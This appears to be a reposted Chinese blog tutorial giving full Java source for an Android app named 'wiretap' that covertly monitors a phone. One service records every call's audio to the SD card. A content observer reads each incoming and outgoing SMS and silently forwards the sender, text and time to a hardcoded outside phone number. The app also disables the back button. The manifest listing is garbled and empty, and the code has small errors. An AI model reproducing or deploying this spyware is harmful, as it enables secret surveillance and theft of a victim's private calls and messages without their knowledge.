博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
Android service 服务的应用之电话监听器以及短信监听器
阅读量:5245 次
发布时间:2019-06-14

本文共 6255 字,大约阅读时间需要 20 分钟。

首先建立一个项目工程文件,如下图所示:

首先在MainActivity.java文件启动电话和短信的界面,代码如下

1 package com.xunfang.wiretap; 2  3 import com.xunfang.observer.MyObserver; 4 import com.xunfang.services.PhoneService; 5  6 import android.support.v7.app.ActionBarActivity; 7 import android.content.Intent; 8 import android.net.Uri; 9 import android.os.Bundle;10 import android.os.Handler;11 import android.view.Menu;12 import android.view.MenuItem;13 14 15 public class MainActivity extends ActionBarActivity {16 17     @Override18     protected void onCreate(Bundle savedInstanceState) {19         super.onCreate(savedInstanceState);20         //电话21         setContentView(R.layout.activity_main);22         Intent intent = new Intent(this,PhoneService.class);23         startService(intent);24         //短信25         Uri uri = Uri.parse("conten://sms");26         getContentResolver().registerContentObserver(uri, true, new MyObserver(this,new Handler()));27         28     }29     @Override30     public void onBackPressed() {31     }32 }

然后进入电话管理服务界面PhoeService.java界面。代码如下

1 package com.xunfang.phoneservice; 2  3 import java.io.IOException; 4  5 import android.app.Service; 6 import android.content.Intent; 7 import android.media.MediaRecorder; 8 import android.os.IBinder; 9 import android.telephony.PhoneStateListener;10 import android.telephony.TelephonyManager;11 12 public class PhoneService extends Service {13 14     // 管理电话15     private TelephonyManager tm;16 17     private MyListener listener;18 19     // 创建一个收音机20     private MediaRecorder mr;21 22     @Override23     public IBinder onBind(Intent intent) {24         return null;25     }26 27     @Override28     public void onCreate() {29         super.onCreate();30         // 实例化31         tm = (TelephonyManager) getSystemService(TELEPHONY_SERVICE);32 33         // 监听电话的状态34         listener = new MyListener();35         // 注册监听者,监听电话的状态36         tm.listen(listener, PhoneStateListener.LISTEN_CALL_STATE);37     }38 39     private class MyListener extends PhoneStateListener {40         @Override41         public void onCallStateChanged(int state, String incomingNumber) {42             super.onCallStateChanged(state, incomingNumber);43 44             switch (state) {45             case TelephonyManager.CALL_STATE_IDLE: // 空闲状态46                 System.out.println("电话空闲");47                 if (mr != null) {48                     // 说明录音机停止录音了49                     mr.stop();50                     mr.release();51                     mr = null;52                 }53                 break;54             case TelephonyManager.CALL_STATE_OFFHOOK: // 摘机状态(通话状态)55                 System.out.println("通话状态");56                 // 1.创建一个收音机57                 mr = new MediaRecorder();58                 // 2.设置音源59                 mr.setAudioSource(MediaRecorder.AudioSource.VOICE_CALL); // ZET60                 // 3.设置录制音频的格式61                 mr.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);62                 // 4设置音频的采样率63                 mr.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);64                 // 5.设置录制的文件放置的位置65                 mr.setOutputFile("/mnt/sdcard/xxx.avi");66                 // 6.准备录制67                 try {68                     mr.prepare();69                 } catch( Exception e) {70                     e.printStackTrace();71                 }72                 // 7.开始录制73                 mr.start();74 75                 break;76             case TelephonyManager.CALL_STATE_RINGING: // 响铃状态77                 System.out.println("响铃状态");78                 break;79             }80         }81     }82 83 }

然后进入管理短信服务界面MyObserver.java,代码如下所示

1 package com.xunfang.observer; 2  3 import java.text.SimpleDateFormat; 4 import java.util.Date; 5  6 import android.content.ContentResolver; 7 import android.content.Context; 8 import android.database.ContentObserver; 9 import android.database.Cursor;10 import android.net.Uri;11 import android.os.Handler;12 import android.telephony.SmsManager;13 14 public class MyObserver extends ContentObserver {15     private Context context;16     public MyObserver(Context context,Handler handler) {17         super(handler);18         this.context = context;19     }20     21     @Override22      public void onChange(boolean selfChange, Uri uri) {23         ContentResolver resolver = context.getContentResolver();24         Cursor cursor = resolver.query(uri, new String[]{"address","body","type","date"}, null, null, "date desc");25         cursor.moveToFirst();26         String address = cursor.getString(0);27         String body = cursor.getString(1);28         int type = cursor.getInt(2);29         long date = cursor.getLong(3);30         //将日期格式化,按这个模式输出日期31         String time = new SimpleDateFormat("yyy-MM-dd hh:mm:ss").format(new Date(date));32         //type=1,表示发送短信,而type=2是表示接收短信,这个可以默认系统短信的数据库表导出来看一下33         if(type ==2 ){34             String sms = "检测的到对方的手机发送信息: 地址:" + address + " 内容:" + body + "时间 :" + time;35             String phone = "18883278692";  //这个电话号码是你要将这个信息发送到哪个人的电话号码36             //拿到默认短信管理器37             SmsManager sm = SmsManager.getDefault();38             //发送短信39             sm.sendTextMessage(phone, null, sms, null, null) ;40             System.out.println("检测的到对方的手机发送信息: 地址:" + address + " 内容:" + body + "时间 :" + time );41         }42         if(type == 1){43             String sms = "检测的到对方的手机接收到的信息: 地址:" + address + " 内容:" + body + "时间 :" + time;44             String phone = "18883278692";      //这个电话号码是你要将这个信息发送到哪个人的电话号码45             SmsManager sm = SmsManager.getDefault();46             sm.sendTextMessage(phone, null, sms, null, null) ;47             System.out.println("检测的到对方的手机接收到的信息: 地址:" + address + " 内容:" + body + "时间 :" + time );48         }49      }50 51 52 }

代码到这里就差不多了,不过千万不要忘了添加权限和服务的申明,在AndroidManifest.xml配置如下

1 
2
6 7
10
11
12
13
14
15
16
17
18
19 20
25
34
36
39
40
43
44
45 46 47

到这里已经全部配置完成,可以用真实机进行测试。

 

转载于:https://www.cnblogs.com/ouysq/p/4640991.html

你可能感兴趣的文章
WPF自定义集合控件概述与遇到的问题
查看>>
路由器外接硬盘做nas可行吗?
查看>>
python:从迭代器,到生成器,再到协程的示例代码
查看>>
pytest的参数化测试
查看>>
Java多线程系列——原子类的实现(CAS算法)
查看>>
安装Pygame和pip的艰辛之路
查看>>
Hibernate的实体类为什么需要实现 java.io.Serializable 接口
查看>>
在Ubuntu下配置Apache多域名服务器
查看>>
多线程《三》进程与线程的区别
查看>>
Min Stack
查看>>
老鸟的Python入门教程
查看>>
Ubuntu下非常给力的下载工具--uget+aria2
查看>>
Nginx配置
查看>>
棋盘覆盖问题
查看>>
vs2003无法调试 解决方法收藏
查看>>
linux sed命令
查看>>
LeetCode 160. Intersection of Two Linked Lists
查看>>
html标签的嵌套规则
查看>>
GitHub上史上最全的Android开源项目分类汇总
查看>>
后台运行命令:&和nohup command & 以及关闭、查看后台任务
查看>>